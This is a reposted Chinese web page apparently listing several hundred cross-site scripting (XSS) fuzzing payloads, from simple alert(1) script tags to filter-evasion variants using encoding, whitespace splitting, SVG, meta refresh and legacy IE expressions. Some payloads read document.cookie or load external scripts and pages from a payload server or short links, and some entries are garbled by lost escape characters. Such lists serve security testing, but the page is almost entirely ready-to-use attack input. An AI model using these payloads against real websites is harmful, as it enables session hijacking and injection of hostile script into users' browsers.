常用xss fuzz 列表
Posted had3s
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了常用xss fuzz 列表相关的知识，希望对你有一定的参考价值。
| -alert(1)- |
| -prompt(1)- |
| <marquee/onstart=confirm(1)> |
| javascript:confirm(1) |
| javascript:confirm(1); |
| javascript:alert(1) |
| javascript:alert(1); |
| avascript:alert(1) |
| javaSCRIPT:alert(1) |
| JaVaScRipT:alert(1) |
| javas	cript:u0061lert(1); |
| javascript:u0061lert(1) |
| javascript:alert(document.cookie) |
| vbscript:alert(1); |
| vbscript:alert(1); |
| vbscr	ipt:alert(1)" |
| ‘‘;!--"<KCF>=&{()} |
| <SCRIPT>+alert("KCF");</SCRIPT> |
| <SCRIPT>+alert("KCF")</SCRIPT> |
| <script>alert(1)</script> |
| <script>alert(/KCF/)</script> |
| ‘ ‘><script>alert(1)</script> |
| ‘‘><script>alert(1)</script> |
| <svg><script>varmyvar="text";alert(1)//";</script></svg> |
| ???script?alert(1)?/script? |
| </script><script>alert(1)</script> |
| <a href="j&#x26#x41;vascript:alert%252831337%2529">KCF</a> |
| <scrx00ipt>confirm(1);</scrx00ipt> |
| <svg/onload=prompt(1);> |
| <svg><script>alert(/1/)</script> |
| <isindex action="javas	cript:alert(1)" type=image> |
| <form action=‘data:text/html,<script>alert(1)</script>‘><button>CLICK |
| <form action=‘java	scri	pt:alert(1)‘><button>CLICK |
| <form action=javascript
:alert(1)><input type=submit> |
| <form action="javas	cript:alert(1)" method="get"><input type="submit" value="Submit"></form> |
| <form action="	javas	cript	:alert(‘KCF :)‘)" autocomplete="on"> First name:<input type="text" name="fname"><br><input type="submit"></form> |
| <form id="myform" value="" action=javascript	:eval(document.getElementById(‘myform‘).elements[0].value)><textarea>alert(1)</textarea><input type="submit" value="Absenden"></form> |
| ‘">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext></|><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/KCF/) type=submit>‘-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>‘"><img src="http://127.0.0.1:3555/xss_serve_payloads/kcf.jpg"> |
| <script>var url = "<!--<script>";//</script>alert(1)</script> |
| <form id="myform" value=""+{valueOf:location,length:1,__proto__:[],0:"javascript :alert (1)"}"action=javascript	:eval(document.getElementById(‘myform‘).elements[0].value)><textarea>alert(1)</textarea><input type="submit" value="Absenden"></form> |
| <iframe/src="data:text/html,<svg%09%0A%0B%0C%0D%A0%00%20onload=confirm(1);>"> |
| <svg/contentScriptType=text/vbs><script>Execute(MsgBox(chr(75)&chr(67)&chr(70))) |
| <img/src=‘http://127.0.0.1:3555/xss_serve_payloads/kcf.jpg‘ onmouseover=	prompt(1) |
| <svg><script>alert( 1) |
| <embed/src=//goo.gl/nlX0P> |
| <object/data=//goo.gl/nlX0P> |
| <iframesrc="javascript:alert(2)"> |
| <iframe/src="data:text/html;	base64
,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="> |
| <isindexformaction="javascript:alert(1)" type=image> |
| <input type="image" formaction=JaVaScript:alert(0)> |
| <form><button formaction=javascript:alert(1)>CLICKME |
| <form action="Javascript:alert(1)"><input type=submit> |
| <isindex action="javascript:alert(1)" type=image> |
| <isindex action=j	a	vas	c	r	ipt:alert(1) type=image> |
| <isindex action=data:text/html, type=image> |
| “/><marquee onfinish=confirm(1)>a</marquee> |
| <object data=‘data:text/xml,<script xmlns="http://www.w3.org/1999/xhtml ">confirm(1)</script>>‘> |
| <img src= "a" onerror= ‘eval(atob("cHJvbXB0KDEpOw=="))‘ |
| <script>alert(‘KCF‘)</script>=a |
| <script>document.write(toStaticHTML("<style>div{font-family:rgb(‘0,0,0)‘‘‘}foo‘);color=expression(alert(1));{}</style><div>POC</div>"))</script> |
| ‘;!--"<XSS><script>alert(1);</script>={()} |
| <script>document.body.innerHTML="<a onmouseover%0B=location=‘x6Ax61x76x61x53x43x52x49x50x54x26x63x6Fx6Cx6Fx6Ex3Bx61x6Cx65x72x74x26x6Cx70x61x72x3Bx31x26x72x70x61x72x3B‘><input name=attributes>";</script> |
| asfunction:getURL,javascript:alert(1)// |
| \%22))}catch(e){}if(!self.a)self.a=!alert(1)// |
| "]%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%281%29;// |
| 0%5C"))%7Dcatch(e)%7Bif(!window.x)%7Bwindow.x=1;alert(1)%7D%7D// |
| <button/onclick=alert(1) >KCF</button> |
| <a onmouseover=(alert(1))>KCF</a> |
| <p/onmouseover=javascript:alert(1); >KCF</p> |
| <article xmlns="><img src=x onerror=alert(1)"></article> |
| <article xmlns="x:img src=x onerror=alert(1) "> |
| <p style="font-family:‘223bx:expression(alert(1))/*‘"> |
| <svg><style><img src=x onerror=alert(1)></svg> |
| <listing><img src=x onerror=alert(1)></listing> |
| "onmouseover=alert(1);a=" |
| ‘+alert(1)&&null==‘ |
| +alert(1)&&null==‘ |
| \‘><script>1<\/script> |
| \‘><body onload=\‘1\‘> |
| "><script>1<\/script> |
| ><script>1<\/script> |
| "><body onload="1"> |
| <img src="x:kcf" onerror="alert(1)"> |
| <img src=a onerror=alert(1) |
| <script>alert(‘1‘)</script> |
| <script>alert(‘\\1\\‘)</script> |
| <script>alert(‘\/\1\/\‘)</script> |
| ‘‘"> |
| <scri%00pt>alert(1);</scri%00pt> |
| <scrix00pt>alert(1);</scri%00pt> |
| <s%00c%00r%00%00ip%00t>confirm(1);</s%00c%00r%00%00ip%00t> |
| <script>alert(1);</script> |
| <%0ascript>alert(1);</script> |
| <%0bscript>alert(1);</script> |
| <!--[if]><script>alert(1)</script --> |
| <SCRIPT> alert("1");</SCRIPT> |
| <SCRIPT> alert("1")</SCRIPT> |
| <script>alert([!![]] [])</script> |
| <var onmouseover="prompt(1)">KCF</var> |
| %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80? |
| <input type="text" value=``<div/onmouseover=‘alert(1)‘>X</div> |
| <iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%28
																1
																	%29></iframe> ? |
| <iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe> |
| <meta http-equiv="refresh" content="0;javascript:alert(1)"/>? |
| <embed code="http://127.0.0.1:3555/xss_serve_payloads/flash.swf" allowscriptaccess=always>? |
| <script>~‘u0061‘ ; u0074u0068u0072u006Fu0077 ~ u0074u0068u0069u0073. u0061u006Cu0065u0072u0074(~‘u0061‘)</script U+ |
| <script/src=data:text/ju0061vu0061script,u0061%6C%65%72%74(/KCF/)></script ???????????? |
| <script itworksinallbrowsers>/*<script* */alert(1)</script ? |
| <img src ?itworksonchrome?/onerror = alert(1)??? |
| <meta http-equiv="refresh" content="0; url=data:text/html;blabla,<script>alert(1)</script>"> |
| <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe |
| <script/src=data:text/javascript,alert(1)></script> ? |
| <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>? |
| "><img src=x onerror=window.open(‘http://127.0.0.1:3555/xss_serve_payloads/kcf.html"‘);> |
| <table background=javascript:alert(1)></table> |
| <object/data=//127.0.0.1:3555/xss_serve_payloads/flash.swf |
| <applet code="javascript:confirm(1);"> |
| <marquee/onstart=confirm(2)>/ |
| <body onload=prompt(1);> |
| <select autofocus onfocus=alert(1)> |
| <textarea autofocus onfocus=alert(1)> |
| <keygen autofocus onfocus=alert(1)> |
| <video><source onerror="javascript:alert(1)"> |
| <a onmouseover="javascript:window.onerror=alert;throw 1> |
| <img src=x onerror="javascript:window.onerror=alert;throw 1"> |
| <body/onload=javascript:window.onerror=eval;throw‘=alertx281x29‘; |
| <img style="xss:expression(alert(1))"> |
| <div style="color:rgb(‘‘�x:expression(alert(1))"></div> |
| <a onmouseover=location=’javascript:alert(1)>click |
| <body onfocus="location=‘javascrpt:alert(1) >123 |
| <svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> |
| <svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(1)//"></svg> |
| <meta content="
 1 
;JAVASCRIPT: alert(1)" http-equiv="refresh"/> |
| <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:u0061lert(1);"></g></svg> |
| <style>#test{x:expression(alert(/KCF/))}</style> |
| <object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>? |
| <meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"> |
| eval("s=document.createElement(‘script‘);alert(1);document.getElementsByTagName(‘head‘)[0].appendChild(s)") |
| "><meta http-equiv="refresh" content="0;url=http://127.0.0.1:3555/xss_serve_payloads/kcf.html" |
| "><meta http-equiv="refresh" content="0;url=http://127.0.0.1:3555/xss_serve_payloads/kcf.html"> |
| javascript:/*–></marquee></script></title></textarea></noscript></style></xmp>”> [img=1]<img -/style=-=expression(/*’/-/*‘,/**/eval(name)//);wi dth:100%;height:100%;position:absolute;behavior:url(#default#VML);-o-link:javascript :eval(title);-o-link-source:current name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>”"/> |
| <img src=”<img src=x”/onerror=alert(1)//”> Jquery: <img/src/onerror=alert(1)> |
| <input id=x><input id=x><script>alert(x)</script> |
| <a href="invalid:1" id=x name=y>test</a><a href="invalid:2" id=x name=y>test</a><script>alert(x.y[0])</script> |
| <script>alert(x.y.x.y.x.y[0]);alert(x.x.x.x.x.x.x.x.x.y.x.y.x.y[0]);</script> |
| <a href=1 name=x>test</a><a href=1 name=x>test</a><script>alert(x.removeChild)alert(x.parentNode)</script> |
| <a href="123" id=x>test</a><script>x=‘javascript:alert(1)‘;</script> |
| <form name=self location="javascript:alert(1)"></form><script>if(top!=self){top.location=self.location}</script> |
| <form name=self location="javascript&#58;alert(1)"></form><script>if(top!=self){top.location=self.location}</script> |
| %3Cimg%20name%3DgetElementsByTagName%20src%3D1%20%20onerror%3Dalert(1)%3E |
| %3Cform%20onmouseover%3Dalert(1)%3E%3Cinput%20name%3Dattributes%3E |
| <a/onmouseover[x0b]=location=‘x6Ax61x76x61x73x63x72x69x70x74x3Ax61x6Cx65x72x74x28x31x29x3B‘>KCF |
| data:text/html,%3Cscript%3Ealert(1)%3C%2Fscript%3E |
| window.name//‘name="javascript:alert("KCF") |
| <svg/onload=location=/java/.source+/script/.source+location.h ash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.has h[3]//#:() |
| <%div%20style=xss:expression(prompt(1))> |
| %22]);}catch(e){}if(!self.a)self.a=!alert(1);/ |
| <script>alert(1)</script>; |
| <script>alert("/KCF"/)</script> |
| <SCRIPT>a=/KCF/ alert(1);</SCRIPT> |
| <script>alert([!![]]+[])</script> |
| <script>prompt(-[])</script> |
| <scr/**/ipt>alert(1)</sc/**/ipt> |
| #<script>alert(1)</script> |
| ‘><script>KCF</script> |
| ‘><body onload=‘KCF‘> |
| "><script>KCF</script> |
| ><script>KCF</script> |
| "><body onload="KCF"> |
| <img src="x:kcf" onerror="alert(1)"> |
| <img src=a onerror=alert(1)%0A>a |
| onmouseover=alert(1); |
| <<SCRIPT>alert(1);/ |
| <SCRIPT>a=/kcf/ |
| alert(1) |
| alert(String.fromCharCode(49)) |
| alert(/1/.source) |
| eval(‘alert(1)‘) |
| this[‘EvAL‘.toLowerCase()](‘aLErT(1)‘.toLowerCase()) |
| (alert(1)).replace(/.+/,eval); |
| u0061u006cu0065u0072u0074(1) |
| eval(‘u00‘ + ‘6‘ + ‘1‘+‘le‘ + ‘u0072‘ + ‘t(1)‘) |
| eval(‘141154145162164506151‘) |
| eval(‘x61x6cx65x72x74(1)‘) |
| eval(‘x61lerx74(1)‘) |
| top[‘ax6Cert‘](1) |
| x=‘x61x6cx65x72x74x28x31x29‘;new Function(x)() |
| setTimeout(‘alert(1)‘,0) |
| setTimeout(u0061u006cu0065u0072u0074(1),0); |
| onerror=eval;throw‘alertx281x29‘; |
| expression(URL=0) |
| expr65 ssion(URL=0) |
| expr65 ss/*???*/ion(URL=0); |
| expression28URL=029 |
| expr65 ss/*%/ion28URL=029 |
| 00045xpr 00065 ss/*BlABl/\aaaaa!!!* |
| javascript:alert(1) |
| javascript:alert(1) |
| javAscRipt:alert(1) |
| javAscRipt:alert(1) |
| feed:javascript:alert(1) |
| feed:javascript:alert(1) |
| feed:data:text/html,%3cscript%3ealert%281%29%3c/script%3e |
| feed:data:text/html,%3csvg%20onload=alert%281%29%3e |
| data:text/html,%3Cscript%3Ealert(1)%3C/script%3E |
| data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4= |
| data:_;;;:;base64_______,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4= |
| <LAYER SRC="javascript:alert(1);"></LAYER> |
| <LINK REL="stylesheet" HREF="javascript:alert(1);"> |
| <!--[if gte IE 4]><SCRIPT>alert(1);</SCRIPT><![endif]--> |
| <BASE HREF="javascript:alert(1);//"> |
| data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4= |
| <script>alert(String.fromCharCode(75,67,70))</script> |
| "><script>alert(String.fromCharCode(75,67,70))</script> |
| <IFRAME SRC="javascript:alert(1);"></IFRAME> |
| <iframe src="javascript:alert(1); < |
| <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></object> |
| <SCRIPT>x=/KCF/ alert(x.source)</SCRIPT> |
| <BODY ONLOAD=alert(1)> |
| <ScRiPt+>prompt(1)</ScRiPt> |
| <img src=kcf onerror=alert(1)> |
| "><img src=/ onerror=alert(1);> |
| <img src=/ onerror=alert(1);> |
| <BODY BACKGROUND="javascript:alert(1)"> |
| <TABLE BACKGROUND="javascript:alert(1)"> |
| <IMG SRC=‘vbscript:msgbox(1)‘> |
| <ScriPt>ALeRt(“ KCF ”)</scriPt> |
| ”><script>alert(“KCF”)</script> |
| ’><script>alert(1)</script> |
| <a href="javascript#alert(1);"> |
| <div onmouseover="alert(1);"> |
| <BR SIZE="&{alert(1)}"> |
| &<script>alert(1);</script> |
| &{alert(1);}; |
| <img src=&{alert(1);};> |
| <img src="mocha:alert(1);"> |
| <img src="livescript:alert(1);"> |
| <a href="about:<script>alert(1);</script>"> |
| [xC0][xBC]script>alert(1);[xC0][xBC]/script>" }; |
| <object classid="clsid:..." codebase="javascript:alert(1);"> |
| <style><!--</style><script>alert(1);//--></script> |
| <![CDATA[<!--]]<script>alert(1);//--></script> |
| <!-- -- --><script>alert(1);</script><!-- -- --> |
| javascript:/*-->]]>%>?></script></title></textarea></noscript></style></xmp>">[img=1,name=/alert(1)/.source]<img -/style=a:expression(/*‘/-/*',/**/eval(name)/*%2A///*///);width:100%;height:100%;position:absolute;-ms-behavior:url(#default#time2) name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) onbegin=eval(name) background=javascript:eval(name)//>" |
| <EMBED SRC="http://127.0.0.1:3555/xss_serve_payloads/flash.swf"></EMBED> |
| <img src="http://127.0.0.1:3555/xss_serve_payloads/image.png" onerror=alert(1)> |
| <img src="http://127.0.0.1:3555/xss_serve_payloads/gif.gif" onerror=alert(1)> |
| <img src="http://127.0.0.1:3555/xss_serve_payloads/bmp.bmp" onerror=alert(1)> |
| <img src="http://127.0.0.1:3555/xss_serve_payloads/jpg.jpg" onerror=alert(1)> |
| "><meta HTTP-EQUIV="REFRESH" content="0; url=http://127.0.0.1:3555/xss_serve_payloads/kcf.html"> |
| <meta HTTP-EQUIV="REFRESH" content="0; url=http://127.0.0.1:3555/xss_serve_payloads/kcf.html"> |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html; base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="> |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=data:image/svg+xml; base64,PHNjcmlwdD5hbGVydCgnS0NGJyk8L3NjcmlwdD4="> |
| "><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html; base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="> |
| "><META HTTP-EQUIV="refresh" CONTENT="0;url=data:image/svg+xml; base64,PHNjcmlwdD5hbGVydCgnS0NGJyk8L3NjcmlwdD4="> |
| <BGSOUND SRC="javascript:alert(1);"> |
| <script type="text/javascript">window.open("http://127.0.0.1:3555/xss_serve_payloads/kcf.html","_self");</script> |
| <SCRIPT =">" SRC="http://127.0.0.1:3555/xss_serve_payloads/kcf.js"></SCRIPT> |
| <SCRIPT a=">" SRC="http://127.0.0.1:3555/xss_serve_payloads/kcf.js"></SCRIPT> |
| <SCRIPT a=">" ‘‘ SRC="http://127.0.0.1:3555/xss_serve_payloads/kcf.js"></SCRIPT> |
| <SCRIPT "a=‘>‘" SRC="http://127.0.0.1:3555/xss_serve_payloads/kcf.js"></SCRIPT> |
| <SCRIPT a=`>` SRC="http://127.0.0.1:3555/xss_serve_payloads/kcf.js"></SCRIPT> |
| <SCRIPT a=">‘>" SRC="http://127.0.0.1:3555/xss_serve_payloads/kcf.js"></SCRIPT> |
| <SCRIPT =">" SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT> |
| <SCRIPT a=">" SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT> |
| <SCRIPT a=">" ‘‘ SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT> |
| <SCRIPT "a=‘>‘" SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT> |
| <SCRIPT a=`>` SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT> |
| <SCRIPT a=">‘>" SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT> |
| <TABLE><TD BACKGROUND="javascript:alert(1)"> |
| <img src=‘http://127.0.0.1:3555/xss_serve_payloads/gif.gif‘ onload=‘document.scripts(0).src="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"‘> |
| <img src=‘http://127.0.0.1:3555/xss_serve_payloads/gif.gif‘ onload=‘document.scripts(0).src="http://127.0.0.1:3555/xss_serve_payloads/kcf.js"‘> |
| <img src=‘http://127.0.0.1:3555/xss_serve_payloads/xxxgif.gif‘ onerror=‘document.scripts(0).src="http://127.0.0.1:3555/xss_serve_payloads/kcf.js"‘> |
| <img src=‘http://127.0.0.1:3555/xss_serve_payloads/xxxgif.gif‘ onerror=‘document.scripts(0).src="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"‘> |
| <img src=‘http://127.0.0.1:3555/xss_serve_payloads/kcf.html‘ onload=alert(1)//></img> |
| <script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script> |
| <img src=javasc ript:ale rt('XSS')> |
| <IMG SRC=javascri pt:alert(' XSS')> |
| <img src=java scrip t:ale rt('X SS')> |
| “><script>prompt(1)</script> |
| “><script>alert(String.fromCharCode(75,67,70))</script> |
| ‘><script>prompt(1)</script> |
| ‘><script>alert(String.fromCharCode(75,67,70))</script> |
| <ScRIPt>prompt(1)</ScRIPt> |
| <ScRIPt<aLeRT(String.fromCharCode(75,67,70))</ScRIPt> |
| “><ScRIPt>prompt(1)</ScRIPt> |
| “><ScRIPt<aLeRT(String.fromCharCode(75,67,70))</ScRIPt> |
| ‘><ScRIPt>prompt(1)</ScRIPt> |
| ‘><ScRIPt<aLeRT(String.fromCharCode(75,67,70))</ScRIPt> |
| </script><script>prompt(1)</script> |
| </script><script>alert(String.fromCharCode(75,67,70))</script> |
| “/><script>prompt(1)</script> |
| “/><script>alert(String.fromCharCode(75,67,70))</script> |
| ‘/><script>prompt(1)</script> |
| ‘/><script>alert(String.fromCharCode(75,67,70))</script> |
| </SCRIPT>”><SCRIPT>prompt(1)</SCRIPT> |
| </SCRIPT>”><SCRIPT>alert(String.fromCharCode(75,67,70)) |
| </SCRIPT>”>”><SCRIPT>prompt(1)</SCRIPT> |
| </SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT> |
| %27%3E%3C%73%63%72%69%70%74%3E%4B%43%46%3C%2F%73%63%72%69%70%74%3E |
| %22%3E%3C%73%63%72%69%70%74%3E%4B%43%46%3C%2F%73%63%72%69%70%74%3E |
| %25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%34%42%25%34%33%25%34%36%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45 |
| %25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%34%42%25%34%33%25%34%36%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45 |
| %25%32%35%25%33%32%25%33%32%25%32%35%25%33%33%25%34%35%25%32%35%25%33%33%25%34%33%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%37%25%33%30%25%32%35%25%33%37%25%33%34%25%32%35%25%33%33%25%34%35%25%32%35%25%33%34%25%34%32%25%32%35%25%33%34%25%33%33%25%32%35%25%33%34%25%33%36%25%32%35%25%33%33%25%34%33%25%32%35%25%33%32%25%34%36%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%37%25%33%30%25%32%35%25%33%37%25%33%34%25%32%35%25%33%33%25%34%35 |
| <h1>KCF</h1> |
| <marquee>Kerala Cyber Force</marquee> |
| <br><br><b><u>KCF</u></b> |
| <script>window.open( "http://127.0.0.1:3555/xss_serve_payloads/kcf.html" )</script> |
| <script>alert%281%29</script> |
| <script>alert(1)</script>/ |
| <script%20language=vbscript>msgbox%20KCF</script> |
| ‘‘;}}</script><script>alert(1)</script> |
| ></title><script>alert(KCF)</script>‘"><marquee><h1>Kerala Cyber Force</h1></marquee> |
| <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://127.0.0.1:3555/xss_serve_payloads/kcf.js"></SCRIPT> |
| <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT> |
| ‘;!–<SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>=&{} |
| !–<SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>=&{} |
| <img src="blah"onmouseover="alert(1);"> |
| <img src="blah>" onmouseover="alert(1);"> |
| <IMG SRC="javascript:alert(1);"> |
| <IMG SRC="javascript:alert(1);" |
| <IMG SRC=javascript:alert(1)> |
| <IMG SRC=JaVaScRiPt:alert(1)> |
| </TITLE><SCRIPT>alert(1);</SCRIPT> |
| <IMG SRC=javascript:alert("KCF")> |
| <IMG SRC=`javascript:alert("Kerala Cyber Force, ‘KCF‘")`> |
| <IMG """><SCRIPT>alert(1)</SCRIPT>"> |
| <img/src="1"/onerror="alert(1)" |
| SCRIPT>">‘><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT> |
| <IMG SRC=javascript:alert(String.fromCharCode(75,67,70))> |
| <IMG SRC="jav ascript:alert(1);"> |
| <IMG SRC="jav	ascript:alert(1);"> |
| <IMG SRC="jav
ascript:alert(1);"> |
| <IMG SRC="jav
ascript:alert(1);"> |
| <IMG SRC="  javascript:alert(1);"> |
| <script>prompt(1)</script> |
| <BODY onload!#$%&()*~+-_.,:;[email protected][/|]^`=alert(1)> |
| <body onload="alert(1);"> |
| <body onload="alert(1)"> |
| <img src="javascript:alert(1)"> |
| <p style="background:url(‘javascript:alert(1)‘)"> |
| ‘ style=abc:expression(KCF) ‘ " style=abc:expression(KCF) " |
| " type=image src=null onerror=KCF " ‘ type=image src=null onerror=KCF ‘ |
| onload=‘KCF‘ " onload="KCF"/onload="KCF"/onload=‘KCF‘/ |
| ‘"</script></xml></title></textarea></noscript></style></listing></xmp></pre><img src=null onerror=KCF> |
| <<scr ipt/src=http://127.0.0.1:3555/xss_serve_payloads/kcf.js></script |
| <<scr ipt/src=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp></script |
| <img src="x:gif" onerror="window[‘alu0065rt‘](1)"></img> |
| <img src="x:gif" onerror="eval(‘al‘%2b‘lert(1)‘)"> |
| <img src="x:alert" onerror="eval(src%2b‘(1)‘)"> |
| <img/src="mars.png"alt="mars"> |
| <object data="javascript:alert(1)"> |
| <isindex type=image src=1 onerror=alert(1)> |
| <isindex action=javascript:alert(1) type=image> |
| <img src=x:alert(alt) onerror=eval(src) alt=0> |
| <x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1);</x:script> |
| <img src=foo.png onerror=%61%6C%65%72%74%28%2F%4B%43%46%2F%29/> |
| ";location=‘javascript:alert(1)‘; |
| ";location=location.hash)//#0={};alert(1) |
| ";eval(unescape(location))//#%0Aalert(1) |
| <b/alt="1"onmouseover=InputBox+1language=vbs>KCF</b> |
| <b "<script>alert(1)</script>">KCF</b> |
| </a onmousemove="alert(1)"> |
| data:text/html,<script>alert(1)</script> |
| <img src="x:?" title="onerror=alert(1)//"> |
| <img src="x:? title=" onerror=alert(1)//"> |
| ?script?alert(￠KCF￠)?/script? |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(1);"> |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="> |
| <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(1);"> |
| <DIV STYLE="background-image: url(javascript:alert(1))"> |
| <div style="background-image: url(javascript:alert(1););"> |
| <DIV STYLE="background-image: url(javascript:alert(1))"> |
| <div style="behaviour: url(http://127.0.0.1:3555/xss_serve_payloads/kcf.html);"> |
| <div style="binding: url(http://127.0.0.1:3555/xss_serve_payloads/kcf.html));"> |
| <div style="behaviour: url(‘http://127.0.0.1:3555/xss_serve_payloads/kcf.html‘);"> |
| <div style="binding: url("http://127.0.0.1:3555/xss_serve_payloads/kcf.html"));"> |
| <SCRIPT <B>alert(1);</SCRIPT> |
| <<SCRIPT>alert(1);//<</SCRIPT> |
| <<script>alert(1);</script> |
| <INPUT TYPE="IMAGE" SRC="javascript:alert(1);"> |
| <IMG SRC="javascript:alert(1)" |
| <iframe src=http://127.0.0.1:3555/xss_serve_payloads/kcf.html < |
| <SCRIPT>a=/KCF/alert(a.source)</SCRIPT> |
| ";alert(1);// |
| <input onfocus=javascript:alert(1) autofocus> |
| <select onfocus=javascript:alert(1) autofocus> |
| <textarea onfocus=javascript:alert(1) autofocus> |
| <keygen onfocus=javascript:alert(1) autofocus> |
| "><img src=x onerror=prompt(1);> |
| <input autofocus onfocus=alert(1)> |
| <iframe/ /onload=alert(1)></iframe> |
| <iframe/ "onload=alert(1)></iframe> |
| <iframe///////onload=alert(1)></iframe> |
| <iframe "onload=alert(1)></iframe> |
| <iframe<?php echo chr(11)?> onload=alert(1)></iframe> |
| <iframe<?php echo chr(12)?> onload=alert(1)></iframe> |
| <ScRIPT x src=//0x.lv?</style></script><script>alert(String.fromCharCode(75,67,70))</script><script src=http://127.0.0.1:3555/xss_serve_payloads/kcf.js> |
| <ScRIPT x src=//0x.lv?</style></script><script>alert(String.fromCharCode(75,67,70))</script><script src=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp> |
| </script><script>alert(KCF |
| %7D%3C/style%3E43%27%22%3E%3C/title%3E%3Cscript%3Ea=eval;b=alert;a(b(/KCF/.source));%3C/script%3E%27%22%3E%3Cmarquee%3E%3Ch1%3EKCF%3C/h1%3E%3C/marquee%3E |
| <script>alert("KCF")</script> |
| <FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET> |
| ‘)alert(1); |
| ");alert(1); |
| “;alert(“KCF”);” |
| “;alert(String.fromCharCode(75,67,70));” |
| ‘;alert(“KCF”);’ |
| ‘;alert(String.fromCharCode(75,67,70));’ |
| “;alert(“KCF”) |
| “;alert(String.fromCharCode(75,67,70)) |
| ‘;alert(“KCF”) |
| ‘;alert(String.fromCharCode(75,67,70)) |
| <script>var var = 1; alert(var)</script> |
| <script type=text/javascript>alert(1)</script> |
| “><script >alert(1)</script> |
| <iframe src="http://127.0.0.1:3555/xss_serve_payloads/kcf.html" width="800" height="800">iframe</iframe> |
| <IMG SRC=`javascript:alert(“KCF says, ‘KCF’”)`> |
| <img src = ”http://127.0.0.1:3555/xss_serve_payloads/kcf.js”> |
| <img src = ”http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp”> |
| <A HREF="//127.0.0.1:3555/xss_serve_payloads/kcf.html">KCF</A> |
| <A HREF="http://127.0.0.1:3555/xss_serve_payloads/kcf.html./">KCF</A> |
